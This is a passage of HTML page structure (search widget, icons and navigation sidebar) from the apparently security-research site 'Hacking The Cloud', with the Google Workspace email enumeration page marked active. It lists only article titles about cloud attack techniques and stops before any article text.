9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2 checked> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=true> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div 